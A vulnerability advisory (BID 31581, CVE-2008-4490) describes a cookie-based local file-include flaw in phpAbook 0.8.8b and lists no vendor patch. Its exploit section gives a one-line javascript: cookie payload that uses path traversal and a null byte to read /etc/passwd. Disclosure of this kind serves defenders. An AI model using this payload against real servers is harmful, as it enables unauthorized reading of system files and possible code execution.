phpAbook Cookie Local File Include Vulnerability

BID:31581

Info

phpAbook Cookie Local File Include Vulnerability

Bugtraq ID: 31581
Class: Input Validation Error
CVE: CVE-2008-4490
Remote: Yes
Local: No
Published: Oct 05 2008 12:00AM
Updated: Apr 16 2015 05:53PM
Credit: JosS
Vulnerable: phpAbook phpAbook 0.8.8b
Not Vulnerable:

Discussion

phpAbook Cookie Local File Include Vulnerability

phpAbook is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to access potentially sensitive information and execute arbitrary scripts or PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Versions up to and including phpAbook 0.8.8b are vulnerable.

Exploit / POC

phpAbook Cookie Local File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example code is available:

javascript:document.cookie="userInfo=JosS JosS ../../../../etc/passwd%00; path=/";

Solution / Fix

phpAbook Cookie Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

phpAbook Cookie Local File Include Vulnerability

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